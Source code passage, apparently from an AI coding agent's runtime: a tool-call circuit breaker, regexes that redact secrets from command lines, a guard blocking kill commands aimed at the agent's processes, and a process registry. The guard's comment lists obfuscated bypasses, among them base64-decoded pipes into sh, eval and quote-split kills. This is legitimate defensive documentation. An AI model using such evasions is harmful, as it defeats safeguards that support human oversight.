maxCallsPerWindow?: number | undefined;\n /**\n * Cooldown before auto-recovery attempt, in ms. Default: 30_000 (30s).\n * After this the breaker enters \"half-open\" state and allows one call\n * through to test whether the problem is resolved.\n */\n cooldownMs?: number | undefined;\n}\n\ninterface CallRecord {\n at: number;\n /** True if the call threw or returned an is_error result. */\n failed: boolean;\n /** True if elapsed time exceeded slowCallThresholdMs. */\n slow: boolean;\n}\n\ntype BreakerState = 'closed' | 'open' | 'half-open';\n\nconst DEFAULT_MAX_CONSECUTIVE_FAILURES = 5;\nconst DEFAULT_SLOW_CALL_THRESHOLD_MS = 180_000;\n// 3 minutes \u2014 balanced against the 5-minute bash timeout. Commands\n// running <3min are normal; 3-5min are \"slow\" and count toward the\n// breaker. 3 consecutive slow calls trip the circuit.\nconst DEFAULT_MAX_SLOW_CALLS = 3;\nconst DEFAULT_WINDOW_MS = 60_000;\nconst DEFAULT_MAX_CALLS_PER_WINDOW = 30;\nconst DEFAULT_COOLDOWN_MS = 30_000;\n\nexport interface CircuitBreakerSnapshot {\n state: 'closed' | 'open' | 'half-open';\n consecutiveFailures: number;\n slowCallsInWindow: number;\n callsInWindow: number;\n windowMs: number;\n cooldownRemainingMs: number | null;\n lastFailureAt: number | null;\n lastSlowAt: number | null;\n}\n\nexport class CircuitBreaker {\n private readonly maxConsecutiveFailures: number;\n private readonly slowCallThresholdMs: number;\n private readonly maxSlowCalls: number;\n private readonly windowMs: number;\n private readonly maxCallsPerWindow: number;\n private readonly cooldownMs: number;\n\n private state: BreakerState = 'closed';\n private consecutiveFailures = 0;\n private window: CallRecord[] = [];\n private lastFailureAt: number | null = null;\n private lastSlowAt: number | null = null;\n /** Timestamp when the breaker was opened (for cooldown calculation). */\n private openedAt: number | null = null;\n\n /**\n * Master enable flag. When false the breaker is bypassed: `beforeCall`\n * always returns true and `afterCall` records nothing. The class itself\n * defaults to enabled (so the standalone unit tests exercise tripping); the\n * ProcessRegistry flips this off until the user opts in via `/settings`.\n */\n private enabled = true;\n\n /**\n * Fired (best-effort) when the breaker transitions into the `open` state.\n * The registry uses this to arm its auto kill/reset countdown.\n */\n onTrip?: (() => void) | undefined;\n /**\n * Fired (best-effort) when the breaker returns to `closed` after having been\n * open/half-open. The registry uses this to cancel a pending kill/reset.\n */\n onReset?: (() => void) | undefined;\n\n constructor(config: CircuitBreakerConfig = {}) {\n this.maxConsecutiveFailures = config.maxConsecutiveFailures ?? DEFAULT_MAX_CONSECUTIVE_FAILURES;\n this.slowCallThresholdMs = config.slowCallThresholdMs ?? DEFAULT_SLOW_CALL_THRESHOLD_MS;\n this.maxSlowCalls = config.maxSlowCalls ?? DEFAULT_MAX_SLOW_CALLS;\n this.windowMs = config.windowMs ?? DEFAULT_WINDOW_MS;\n this.maxCallsPerWindow = config.maxCallsPerWindow ?? DEFAULT_MAX_CALLS_PER_WINDOW;\n this.cooldownMs = config.cooldownMs ?? DEFAULT_COOLDOWN_MS;\n }\n\n /** Toggle the master enable. Disabling resets to a clean `closed` state. */\n setEnabled(enabled: boolean): void {\n if (this.enabled === enabled) return;\n this.enabled = enabled;\n if (!enabled) this._reset();\n }\n\n get isEnabled(): boolean {\n return this.enabled;\n }\n\n /**\n * Returns true if the circuit allows a new call to proceed.\n * When false, callers should abort the tool call and return a\n * circuit-breaker error instead of spawning a process.\n */\n get canProceed(): boolean {\n if (!this.enabled) return true;\n this._checkStateTransition();\n return this.state !== 'open';\n }\n\n /**\n * Snapshot of the current breaker state for observability (`/kill`).\n */\n snapshot(): CircuitBreakerSnapshot {\n this._checkStateTransition();\n const now = Date.now();\n let cooldownRemaining: number | null = null;\n if (this.openedAt !== null && this.state === 'open') {\n const elapsed = now - this.openedAt;\n cooldownRemaining = Math.max(0, this.cooldownMs - elapsed);\n }\n return {\n state: this.state,\n consecutiveFailures: this.consecutiveFailures,\n slowCallsInWindow: this.window.filter((c) => c.slow).length,\n callsInWindow: this.window.length,\n windowMs: this.windowMs,\n cooldownRemainingMs: cooldownRemaining,\n lastFailureAt: this.lastFailureAt,\n lastSlowAt: this.lastSlowAt,\n };\n }\n\n /**\n * Call this BEFORE spawning a bash/exec process.\n * Returns true if the call is allowed; false if the breaker is open.\n * When false, callers MUST NOT spawn a process.\n *\n * @param bypass - If true, skip the circuit breaker check entirely.\n * Use for background/fire-and-forget processes that should\n * not affect breaker state.\n */\n beforeCall(bypass = false): boolean {\n if (bypass || !this.enabled) return true;\n this._checkStateTransition();\n if (this.state === 'open') return false;\n return true;\n }\n\n /**\n * Call this AFTER a bash/exec process finishes (success or failure).\n * `durationMs` is the wall-clock time the process ran.\n * `failed` is true when the process returned a non-zero exit code or\n * threw an exception before spawning.\n *\n * @param bypass - If true, do not update breaker state.\n * Use for background/fire-and-forget processes.\n */\n afterCall(durationMs: number, failed: boolean, bypass = false): void {\n if (bypass || !this.enabled) return;\n\n const now = Date.now();\n\n if (this.state === 'half-open') {\n // First call through after cooldown \u2014 if it failed, go back to open.\n if (failed) {\n this._trip();\n return;\n }\n // Success in half-open \u2192 reset to closed.\n this._reset();\n return;\n }\n\n // Prune old records outside the sliding window.\n this._pruneWindow(now);\n\n const slow = durationMs >= this.slowCallThresholdMs;\n this.window.push({ at: now, failed, slow });\n\n if (failed) {\n this.consecutiveFailures++;\n this.lastFailureAt = now;\n if (this.consecutiveFailures >= this.maxConsecutiveFailures) {\n this._trip();\n }\n return;\n }\n\n // Success: reset consecutive failure counter.\n this.consecutiveFailures = 0;\n\n if (slow) {\n this.lastSlowAt = now;\n const slowCount = this.window.filter((c) => c.slow).length;\n if (slowCount >= this.maxSlowCalls) {\n this._trip();\n }\n }\n\n const callCount = this.window.length;\n if (callCount >= this.maxCallsPerWindow) {\n // Rate limit exceeded. This is a soft trip \u2014 we reset the window\n // and let the next call try immediately (the caller will still see\n // canProceed=false until the window drains naturally).\n this._trip();\n }\n }\n\n /** Force the breaker open. Used by /kill force and Ctrl+C. */\n forceOpen(): void {\n this._trip();\n }\n\n /** Force a reset to closed. Used by tests and /kill reset. */\n forceReset(): void {\n this._reset();\n }\n\n private _trip(): void {\n if (this.state === 'open') return; // already open\n this.state = 'open';\n this.openedAt = Date.now();\n // P3 #23 (before-release.md): clear the window on trip. Old records are\n // irrelevant once tripped \u2014 the breaker starts fresh after cooldown\n // (half-open \u2192 closed resets the counters). Without this the window array\n // holds onto CallRecord entries for its lifetime if no new afterCall()\n // arrives (which is the case when the breaker stays open and no new calls\n // are attempted).\n this.window = [];\n // Best-effort: never let a listener failure corrupt breaker state.\n try {\n this.onTrip?.();\n } catch {\n /* ignored \u2014 observability hook only */\n }\n }\n\n private _reset(): void {\n const wasRecovering = this.state !== 'closed';\n this.state = 'closed';\n this.consecutiveFailures = 0;\n this.window = [];\n this.openedAt = null;\n // Only notify on a real recovery (open/half-open \u2192 closed), not on the\n // initial closed state or an idempotent re-reset.\n if (wasRecovering) {\n try {\n this.onReset?.();\n } catch {\n /* ignored \u2014 observability hook only */\n }\n }\n }\n\n /** Transition from open \u2192 half-open when cooldown elapses. */\n private _checkStateTransition(): void {\n if (this.state !== 'open' || this.openedAt === null) return;\n const elapsed = Date.now() - this.openedAt;\n if (elapsed >= this.cooldownMs) {\n this.state = 'half-open';\n this.openedAt = null;\n }\n }\n\n private _pruneWindow(now: number): void {\n const cutoff = now - this.windowMs;\n this.window = this.window.filter((c) => c.at >= cutoff);\n }\n}", "import { expectDefined } from '@wrongstack/core';\n\n// Sensitive CLI flag patterns that may appear in process command lines.\n// Redacted to [REDACTED] so crash dumps /ps output cannot leak secrets.\n// Split out of process-registry.ts so entries that only need the registry\n// (e.g. ps-slash) don't carry this module's dependencies.\nconst SENSITIVE_FLAG_PATTERNS: RegExp[] = [\n // --flag=value or --flag \"value\" (value captured up to next space or comma)\n /--(?:token|password|passwd|pwd|secret|api[-_]?key|api[-_]?secret|auth|credential|private[-_]?key|access[-_]?key|github[-_]?token|gh[-_]?token|bearer|jwt|oauth|pin|pincode|passphrase|access[-_]?token)(?:[=\\s,][^\\s]*)?/gi,\n // -f \"value\" style short flags\n /(?<!\\w)-t(?:\\s+|\\s*=\\s*)[^\\s,]+/,\n /(?<!\\w)-(?:p|password)(?:\\s+|\\s*=\\s*)[^\\s,]+/gi,\n // env var\u2013style secrets: TOKEN=x, API_KEY=y, etc.\n /(?:TOKEN|API_KEY|API_SECRET|AUTH_TOKEN|GITHUB_TOKEN|GH_TOKEN|BEARER|JWT|OAUTH|CREDENTIAL|SECRET|PRIVATE_KEY|PASSWORD|PASSWD)\\s*[=:]\\s*[^\\s,]+/gi,\n // Generic high-entropy look: base64 strings >32 chars or hex strings >32 digits \u2014 but only\n // when preceded by a flag name (e.g. --github-token=EyJ...).\n /--\\w*(?:token|key|secret|password|passwd|auth|credential)\\w*[=\\s,][A-Za-z0-9+/=]{32,}/,\n];\n\n/**\n * Returns a display-safe copy of `cmd` with sensitive flag values replaced by [REDACTED].\n * The original string is unchanged; this is pure and has no side effects.\n */\nexport function redactCommand(cmd: string): string {\n let result = cmd;\n for (const pattern of SENSITIVE_FLAG_PATTERNS) {\n result = result.replace(pattern, (match) => {\n // Preserve the flag name portion; redact only the value part.\n // e.g. \"--token=sekrit_abc\" \u2192 \"--token=[REDACTED]\"\n const eq = match.indexOf('=');\n const sp = match.search(/\\s/);\n const delim = eq !== -1 ? '=' : sp !== -1 ? match[sp] : null;\n if (delim !== null) {\n const flag = match.slice(0, match.indexOf(expectDefined(delim)) + 1);\n return `${flag}[REDACTED]`;\n }\n // Nothing delimitable found; replace the whole token silently.\n // Short flags like -tVALUE are replaced entirely to avoid edge cases.\n const flagEnd = match.match(/^--?[a-zA-Z][a-zA-Z0-9_-]*/)?.[0] ?? match;\n return `${flagEnd}=**redacted**`;\n });\n }\n return result;\n}\n", "/**\n * Bash Kill Guard \u2014 Intercepts bash kill commands and prevents them from\n * terminating WrongStack processes (either the agent itself or child processes\n * it has spawned).\n *\n * This module hooks into the bash tool's command parsing to detect and block\n * dangerous kill commands targeting protected PIDs.\n *\n * Handles:\n * - Direct kill commands: kill -9 12345\n * - Shell -c wrapped: bash -c \"kill -9 12345\" (any shell path \u2014 see P2 #10)\n * - Full path kills: /bin/kill -9 12345\n * - Name-based kills: pkill, killall, pgrep\n * - Windows equivalents: taskkill\n *\n * Known bypasses (NOT handled \u2014 this is a static regex parser, not a shell):\n * Static analysis of shell strings is inherently defeatable by obfuscation.\n * This guard is one defense-in-depth layer behind the permission policy and\n * the project-escape checks, not the sole gate. Treat a miss here as expected,\n * not as a hole to plug with ever-more-clever regexes. The patterns below are\n * known to evade detection:\n * - Base64 / decode pipes: `echo bCAtOSAxMjM0NQ== | base64 -d | sh`\n * - Variable indirection: `sig=-9; target=12345; kill $sig $target`\n * - Command substitution: `$(printf kill) -9 12345`\n * - String concatenation / quote-splitting: `ki''ll -9 12345`, `k\"i\"ll 12345`\n * - Aliases and functions: `alias x=kill; x -9 12345`\n * - eval / source: `eval \"ki\"\"ll -9 12345\"`\n *\n * Mitigation: rely on the permission policy (confirm/deny gate) and YOLO\n * destructive detection as the primary controls; this guard is a best-effort\n * fast path for the common non-obfuscated forms.\n */\n\nimport * as os from 'node:os';\nimport { getPersistentProcessRegistry, type PersistentProcessEntry } from './process-registry-persistent.js';\n\nconst isWin = os.platform() === 'win32';\n\nexport interface KillCommand {\n pid?: number;\n name?: string;\n signal?: string;\n isGroupKill: boolean;\n isAllKill: boolean;\n originalCommand: string;\n}\n\nexport interface KillCheckResult {\n blocked: boolean;\n reason?: string;\n}\n\n/**\n * Extract the actual kill command from a shell-wrapped command.\n * e.g., \"bash -c 'kill -9 12345'\" -> \"kill -9 12345\"\n * e.g., \"/bin/bash -c \\\"pkill node\\\"\" -> \"pkill node\"\n *\n * P2 #10 (before-release.md): the path pattern now matches any executable\n * followed by `-c`, not just `/bin` and `/usr/bin`. Real systems often have\n * bash at `/usr/local/bin/bash`, `/opt/homebrew/bin/bash`, or invoke it via\n * `/usr/bin/env bash`. Previously these bypassed the guard entirely.\n */\nfunction extractKillCommand(command: string): string | null {\n const normalized = command.replace(/\\s+/g, ' ').trim();\n\n // Pattern: <any executable path or name> -c \"kill ...\" or 'kill ...'\n // Matches /bin/bash, /usr/local/bin/bash, /opt/homebrew/bin/bash,\n // /usr/bin/env bash, plain bash/sh/zsh, etc. The executable is any run of\n // non-whitespace, optionally followed by a space and a second token (for\n // the `/usr/bin/env bash` form) before `-c`.\n const shellCMatch = normalized.match(\n /^(?:\\S+(?:\\s+\\S+)?)?\\s+-c\\s+['\"](.+?)['\"]$/,\n );\n if (shellCMatch?.[1]) {\n const inner = shellCMatch[1].trim();\n // Recursively check the inner command\n return isKillRelatedCommand(inner) ? inner : null;\n }\n\n // Pattern: <executable> -c kill -9 12345 (without quotes)\n const shellCUnquoted = normalized.match(\n /^(?:\\S+(?:\\s+\\S+)?)?\\s+-c\\s+(kill(?:\\s+-[a-zA-Z]+)?(?:\\s+\\d+)+)$/,\n );\n if (shellCUnquoted?.[1]) {\n return shellCUnquoted[1];\n }\n\n return null;\n}\n\n/**\n * Check if a command string is kill-related (for filtering).\n */\nfunction isKillRelatedCommand(cmd: string): boolean {\n const normalized = cmd.toLowerCase().replace(/\\s+/g, ' ').trim();\n\n // P3 #25 (before-release.md): filter by platform so each platform only\n // checks the kill commands it can actually encounter. On Windows, POSIX\n // kill/pkill/killall are dead code (they don't exist on cmd.exe/pwsh); on\n // POSIX, taskkill/tskill are dead code. This lets a single test suite\n // pass on both platforms without platform-conditional assertions.\n if (isWin) {\n // Windows taskkill\n if (/^taskkill\\s/i.test(normalized)) return true;\n // Windows tskill\n if (/^tskill\\s/i.test(normalized)) return true;\n return false;\n }\n\n // POSIX\n // Direct kill commands\n if (/^kill(\\s|$)/.test(normalized)) return true;\n\n // Name-based kills\n if (/^(pkill|killall|pgrep|skill)\\s/.test(normalized)) return true;\n\n // Process-related commands that might target specific PIDs\n if (/^\\/proc\\/\\d+\\/(?:kill|fd)/.test(normalized)) return true;\n\n return false;\n}\n\n/**\n * Parse a kill command string to extract PID and signal.\n */\nexport function parseKillCommand(command: string): KillCommand | null {\n const normalized = command.replace(/\\s+/g, ' ').trim();\n\n // P3 #25 (before-release.md): skip parsing commands that don't exist on\n // the current platform. On Windows, kill/pkill/killall/pgrep are dead\n // branches; on POSIX, taskkill/tskill are dead branches. Filtering them\n // out here (not just in isKillRelatedCommand) avoids the regex match cost\n // and makes the test suite platform-independent.\n if (isWin) {\n // taskkill /PID 1234 or taskkill /F /PID 1234\n const taskkillMatch = normalized.match(/^taskkill\\s+(?:\\/[a-zA-Z]+\\s+)*\\/PID\\s+(\\d+)/i);\n if (taskkillMatch?.[1]) {\n const pidStr = taskkillMatch[1];\n return {\n pid: parseInt(pidStr, 10),\n signal: normalized.includes('/F') ? 'FORCE' : 'TERM',\n isGroupKill: false,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n // tskill PID\n const tskillMatch = normalized.match(/^tskill\\s+(\\d+)/i);\n if (tskillMatch?.[1]) {\n const pidStr = tskillMatch[1];\n return {\n pid: parseInt(pidStr, 10),\n signal: 'TERM',\n isGroupKill: false,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n return null;\n }\n\n // POSIX\n // Simple: kill -9 12345 or kill 12345\n const simpleMatch = normalized.match(/^kill\\s+(?:(-[a-zA-Z]+)\\s+)?(\\d+|-?\\d+)$/);\n if (simpleMatch) {\n const signal = simpleMatch[1] ?? '-TERM';\n const pidOrGroup = simpleMatch[2];\n if (!pidOrGroup) return null;\n const isGroupKill = pidOrGroup.startsWith('-');\n const pid = isGroupKill ? parseInt(pidOrGroup.slice(1), 10) : parseInt(pidOrGroup, 10);\n\n return {\n pid,\n signal: signal.slice(1),\n isGroupKill,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n // pkill name or pkill -signal name\n const pkillMatch = normalized.match(/^pkill\\s+(?:(-[a-zA-Z]+)\\s+)?(.+)$/);\n if (pkillMatch?.[2]) {\n const name = pkillMatch[2];\n const signalMatch = pkillMatch[1];\n return {\n name,\n signal: signalMatch ? signalMatch.slice(1) : 'TERM',\n isGroupKill: false,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n // killall name or killall -signal name\n const killallMatch = normalized.match(/^killall\\s+(?:(-[a-zA-Z]+)\\s+)?(.+)$/);\n if (killallMatch?.[2]) {\n const name = killallMatch[2];\n const signalMatch = killallMatch[1];\n return {\n name,\n signal: signalMatch ? signalMatch.slice(1) : 'TERM',\n isGroupKill: false,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n // pgrep returns PIDs (not a kill, but could be used with kill)\n const pgrepMatch = normalized.match(/^pgrep\\s+(.+)$/);\n if (pgrepMatch) {\n // pgrep by itself isn't dangerous, but log it\n return null;\n }\n\n return null;\n}\n\n/**\n * Get all protected process entries from the registry.\n */\nasync function getProtectedEntries(): Promise<PersistentProcessEntry[]> {\n const registry = getPersistentProcessRegistry();\n const status = await registry.getGlobalStatus();\n const entries: PersistentProcessEntry[] = [];\n\n for (const instanceEntries of status.instances.values()) {\n for (const entry of instanceEntries) {\n if (entry.protected && (Date.now() - entry.lastHeartbeat) < 30_000) {\n entries.push(entry);\n }\n }\n }\n\n return entries;\n}\n\n/**\n * Check if a parsed kill command targets a protected WrongStack process.\n */\nexport async function isKillProtected(kill: KillCommand): Promise<boolean> {\n const registry = getPersistentProcessRegistry();\n\n // For name-based kills, check if any protected process matches the name\n if (kill.name) {\n const entries = await getProtectedEntries();\n const killNameLower = kill.name.toLowerCase();\n\n for (const entry of entries) {\n if (entry.name?.toLowerCase().includes(killNameLower)) {\n return true;\n }\n }\n\n // Also check against our own hostname/process name patterns\n if (killNameLower.includes('wrongstack')) {\n return true;\n }\n if (killNameLower.includes('node') && entries.length > 0) {\n // Conservative: block pkill node if we have protected node processes\n return true;\n }\n return false;\n }\n\n // For group kills, block if any protected processes exist\n if (kill.isGroupKill) {\n const protectedPids = await registry.getAllProtectedPids();\n return protectedPids.length > 0;\n }\n\n // Single process kill - check if the target PID is protected\n if (kill.pid !== undefined) {\n return registry.shouldBlockKill(kill.pid);\n }\n\n return false;\n}\n\n/**\n * Main entry point: Check if a bash command contains a kill operation targeting protected PIDs.\n * Returns a result indicating whether to block and why.\n */\nexport async function checkAndBlockKillCommand(command: string): Promise<KillCheckResult> {\n const normalized = command.replace(/\\s+/g, ' ').trim();\n\n // First, extract any kill command from shell-wrapped commands\n const killCmd = extractKillCommand(normalized) || (isKillRelatedCommand(normalized) ? normalized : null);\n\n if (!killCmd) {\n return { blocked: false };\n }\n\n const parsed = parseKillCommand(killCmd);\n if (!parsed) {\n // It's kill-related but couldn't parse - conservative approach\n // e.g., complex pipelines involving kill\n if (killCmd.includes('kill') && /kill\\s+.*\\|/.test(killCmd)) {\n // kill piped to something - might be \"pkill node | xargs kill\"\n return {\n blocked: true,\n reason: `Blocked: complex kill pipeline detected \u2014 \"${killCmd.slice(0, 50)}...\"`,\n };\n }\n return { blocked: false };\n }\n\n if (await isKillProtected(parsed)) {\n let target: string;\n if (parsed.name) {\n target = `process name \"${parsed.name}\"`;\n } else if (parsed.pid !== undefined) {\n target = `PID ${parsed.pid}`;\n } else {\n target = '(unknown target)';\n }\n\n const signal = parsed.signal ? ` (${parsed.signal})` : '';\n const groupNote = parsed.isGroupKill ? ' (process group)' : '';\n return {\n blocked: true,\n reason: `Blocked: kill${signal} ${target}${groupNote} targets a protected WrongStack process.`,\n };\n }\n\n return { blocked: false };\n}\n\n/**\n * Get a safe error message for blocked kill commands.\n */\nexport function getBlockedKillMessage(pid: number, signal?: string): string {\n return (\n `Kill command blocked: PID ${pid}${signal ? ` (signal ${signal})` : ''} is a protected WrongStack process. ` +\n `Use 'exit' or Ctrl+C to gracefully terminate a WrongStack session.`\n );\n}\n", "/**\n * PersistentProcessRegistry \u2014 filesystem-backed process registry that survives\n * process restarts and coordinates protection across multiple WrongStack instances\n * running in different terminals.\n *\n * Key features:\n * - PIDs stored in ~/.wrongstack/process-registry.json\n * - File locking for cross-instance coordination\n * - Heartbeat mechanism to detect stale entries\n * - Protection whitelist that blocks kill commands targeting WrongStack processes\n * - Multi-instance awareness: all instances share the same protection state\n */\n\n// Note: spawn imported for potential future use with child process tracking\nimport * as fs from 'node:fs/promises';\n// Note: fsSync imported for potential future use with synchronous file operations\nimport * as os from 'node:os';\nimport * as path from 'node:path';\nimport type { ChildProcess } from 'node:child_process';\nimport { getProcessRegistry, type ProcessRegistryImpl } from './process-registry.js';\n\nconst REGISTRY_FILE = '.wrongstack/process-registry.json';\n\nfunction toErrorMessage(err: unknown): string {\n return err instanceof Error ? err.message : String(err);\n}\n\nfunction emitStructuredLog(level: 'debug' | 'info' | 'warn' | 'error', event: string, message: string, error?: unknown): void {\n const payload: { level: 'debug' | 'info' | 'warn' | 'error'; event: string; message: string; error?: string; timestamp: string } = {\n level,\n event,\n message,\n timestamp: new Date().toISOString(),\n };\n\n if (error !== undefined) {\n payload.error = toErrorMessage(error);\n }\n\n console.log(JSON.stringify(payload));\n}\nconst HEARTBEAT_INTERVAL_MS = 5_000;\nconst STALE_THRESHOLD_MS = 30_000;\nconst LOCKFILE = '.wrongstack/.process-registry.lock';\n\nexport interface PersistentProcessEntry {\n pid: number;\n name: string;\n command: string;\n startedAt: number;\n lastHeartbeat: number;\n sessionId?: string;\n instanceId: string;\n /** Hostname where this process is running */\n hostname: string;\n protected: boolean;\n /** How this process was spawned: 'fork' (child_process.fork), 'spawn' (child_process.spawn), 'main' (the main WrongStack process itself) */\n spawnMode: 'fork' | 'spawn' | 'main';\n /** Parent PID if spawned via fork/spawn */\n parentPid?: number;\n /** OS platform where this entry was created */\n platform: string;\n}\n\nexport interface PersistentRegistryData {\n version: 1;\n instances: Map<string, PersistentProcessEntry>;\n protectedPatterns: string[];\n lastCleanup: number;\n}\n\n/**\n * Generate a unique instance ID for this WrongStack process.\n * Combines hostname + pid + random suffix for uniqueness across restarts.\n */\nfunction generateInstanceId(): string {\n const hostname = os.hostname();\n const pid = process.pid;\n const random = Math.random().toString(36).slice(2, 8);\n return `${hostname}:${pid}:${random}`;\n}\n\n/**\n * Acquire a file lock using flock-style locking.\n * On Windows, uses a separate lockfile with atomic rename.\n */\nfunction isNodeError(err: unknown): err is NodeJS.ErrnoException {\n return typeof err === 'object' && err !== null && 'code' in err;\n}\n\nasync function acquireLock(lockfilePath: string, timeoutMs = 5000): Promise<() => Promise<void>> {\n const start = Date.now();\n const pidStr = String(process.pid);\n const hostStr = os.hostname();\n\n while (Date.now() - start < timeoutMs) {\n try {\n // Try to create the lock file exclusively\n await fs.writeFile(lockfilePath, `${pidStr}:${hostStr}:${Date.now()}`, { flag: 'wx' });\n return async () => {\n try {\n await fs.unlink(lockfilePath);\n } catch {\n // Lock file may have been cleaned up by another process\n }\n };\n } catch (err) {\n if (isNodeError(err) && err.code === 'EEXIST') {\n // Lock exists - check if the holder is still alive\n try {\n const content = await fs.readFile(lockfilePath, 'utf-8');\n const parts = content.split(':');\n const lockPidStr = parts[0] ?? '0';\n const lockPid = parseInt(lockPidStr, 10);\n\n // On Unix, check if process is still running\n if (process.platform !== 'win32') {\n try {\n process.kill(lockPid, 0); // Signal 0 just checks if process exists\n } catch {\n // Lock holder is dead - steal the lock\n await fs.unlink(lockfilePath);\n continue;\n }\n }\n } catch {\n // Can't read lock file - assume stale, try to steal\n try {\n await fs.unlink(lockfilePath);\n } catch {\n /* ignore */\n }\n }\n\n // Wait before retrying\n await new Promise((r) => setTimeout(r, 100));\n continue;\n }\n throw err;\n }\n }\n throw new Error(`Failed to acquire lock after ${timeoutMs}ms`);\n}\n\n/**\n * Read and parse the persistent registry file.\n * Returns empty data if file doesn't exist or is corrupted.\n */\nasync function readRegistryFile(filePath: string): Promise<PersistentRegistryData> {\n try {\n const content = await fs.readFile(filePath, 'utf-8');\n const parsed = JSON.parse(content);\n\n // Convert instances array back to Map\n if (parsed.instances && Array.isArray(parsed.instances)) {\n parsed.instances = new Map(parsed.instances);\n }\n\n return parsed;\n } catch (err) {\n if (isNodeError(err) && err.code === 'ENOENT') {\n return {\n version: 1,\n instances: new Map(),\n protectedPatterns: ['wrongstack', 'node'],\n lastCleanup: Date.now(),\n };\n }\n throw err;\n }\n}\n\n/**\n * Write the registry file atomically using rename.\n */\nasync function writeRegistryFile(filePath: string, data: PersistentRegistryData): Promise<void> {\n const tmpPath = `${filePath}.tmp.${process.pid}`;\n const content = JSON.stringify(data, (_k, v) => {\n if (v instanceof Map) {\n return Array.from(v.entries());\n }\n return v;\n }, 2);\n\n await fs.writeFile(tmpPath, content, 'utf-8');\n await fs.rename(tmpPath, filePath);\n}\n\n/**\n * PersistentProcessRegistry wraps the in-memory ProcessRegistryImpl and\n * synchronizes entries to a filesystem-backed store for cross-instance coordination.\n */\nexport class PersistentProcessRegistry {\n private readonly instanceId: string;\n private readonly registryPath: string;\n private readonly lockPath: string;\n private readonly baseRegistry: ProcessRegistryImpl;\n private heartbeatInterval: ReturnType<typeof setInterval> | null = null;\n private isShuttingDown = false;\n\n constructor(baseRegistry?: ProcessRegistryImpl) {\n this.instanceId = generateInstanceId();\n const homeDir = os.homedir();\n this.registryPath = path.join(homeDir, REGISTRY_FILE);\n this.lockPath = path.join(homeDir, LOCKFILE);\n this.baseRegistry = baseRegistry ?? getProcessRegistry();\n\n // Ensure the .wrongstack directory exists\n this.ensureDirectory().catch((err) => {\n emitStructuredLog('warn', 'process_registry.dir_create_failed', 'PersistentProcessRegistry: failed to create .wrongstack directory', err);\n });\n }\n\n private async ensureDirectory(): Promise<void> {\n const dir = path.dirname(this.registryPath);\n try {\n await fs.mkdir(dir, { recursive: true });\n } catch (err) {\n if (!isNodeError(err) || err.code !== 'EEXIST') throw err;\n }\n }\n\n /**\n * Start the heartbeat and periodic cleanup tasks.\n */\n start(): void {\n if (this.heartbeatInterval) return;\n\n // Register this instance's processes with the persistent registry\n this.syncToPersistent();\n\n // Heartbeat every 5 seconds to mark entries as alive\n this.heartbeatInterval = setInterval(() => {\n this.heartbeat();\n }, HEARTBEAT_INTERVAL_MS);\n this.heartbeatInterval.unref?.();\n\n // Cleanup stale entries every 30 seconds\n setInterval(() => {\n this.cleanupStaleEntries();\n }, STALE_THRESHOLD_MS).unref?.();\n\n // Register main process on startup\n this.registerMainProcess();\n\n // Sync on significant events\n process.on('exit', () => this.syncToPersistent());\n }\n\n /**\n * Stop the heartbeat and clean up.\n */\n stop(): void {\n this.isShuttingDown = true;\n if (this.heartbeatInterval) {\n clearInterval(this.heartbeatInterval);\n this.heartbeatInterval = null;\n }\n this.syncToPersistent();\n }\n\n /**\n * Register the main WrongStack process as protected.\n */\n registerMainProcess(): void {\n const mainPid = process.pid;\n\n this.updatePersistentEntry({\n pid: mainPid,\n name: 'wrongstack-main',\n command: process.argv.slice(0, 3).join(' '),\n startedAt: Date.now(),\n lastHeartbeat: Date.now(),\n instanceId: this.instanceId,\n hostname: os.hostname(),\n protected: true,\n spawnMode: 'main',\n parentPid: process.ppid,\n platform: process.platform,\n });\n }\n\n /**\n * Register a spawned child process with the persistent registry.\n */\n registerChildProcess(pid: number, name: string, command: string, sessionId?: string, spawnMode: 'spawn' | 'fork' = 'spawn'): void {\n const entry: PersistentProcessEntry = {\n pid,\n name,\n command,\n startedAt: Date.now(),\n lastHeartbeat: Date.now(),\n instanceId: this.instanceId,\n hostname: os.hostname(),\n protected: true, // All WrongStack child processes are protected by default\n spawnMode,\n parentPid: process.pid,\n platform: process.platform,\n };\n if (sessionId) {\n entry.sessionId = sessionId;\n }\n this.updatePersistentEntry(entry);\n }\n\n /**\n * Update or add an entry in the persistent registry.\n */\n private async updatePersistentEntry(entry: PersistentProcessEntry): Promise<void> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await readRegistryFile(this.registryPath);\n\n // Update or insert\n data.instances.set(String(entry.pid), entry);\n\n // Also update the in-memory registry\n const child: ChildProcess = null as unknown as ChildProcess;\n this.baseRegistry.register({\n pid: entry.pid,\n name: entry.name,\n command: entry.command,\n startedAt: entry.startedAt,\n sessionId: entry.sessionId,\n protected: entry.protected,\n child,\n });\n\n await writeRegistryFile(this.registryPath, data);\n } finally {\n await release();\n }\n }\n\n /**\n * Unregister a process from the persistent registry.\n */\n async unregister(pid: number): Promise<void> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await readRegistryFile(this.registryPath);\n data.instances.delete(String(pid));\n await writeRegistryFile(this.registryPath, data);\n } finally {\n await release();\n }\n }\n\n /**\n * Send heartbeat to mark all this instance's processes as alive.\n */\n private heartbeat(): void {\n if (this.isShuttingDown) return;\n\n this.syncToPersistent();\n }\n\n /**\n * Sync this instance's processes to the persistent registry.\n */\n private async syncToPersistent(): Promise<void> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await readRegistryFile(this.registryPath);\n const now = Date.now();\n\n // Update heartbeat for all processes belonging to this instance\n const updatedInstances = new Map<string, PersistentProcessEntry>();\n\n for (const [_pidStr, entry] of data.instances) {\n if (entry.instanceId === this.instanceId) {\n entry.lastHeartbeat = now;\n }\n // Only keep non-stale entries (or entries from this instance)\n if (entry.instanceId === this.instanceId || (now - entry.lastHeartbeat) < STALE_THRESHOLD_MS) {\n updatedInstances.set(_pidStr, entry);\n }\n }\n\n data.instances = updatedInstances;\n data.lastCleanup = now;\n await writeRegistryFile(this.registryPath, data);\n } catch (err) {\n emitStructuredLog('warn', 'process_registry.sync_failed', 'PersistentProcessRegistry: sync failed', err);\n } finally {\n await release();\n }\n }\n\n /**\n * Remove entries for processes that are no longer running.\n */\n private async cleanupStaleEntries(): Promise<void> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await 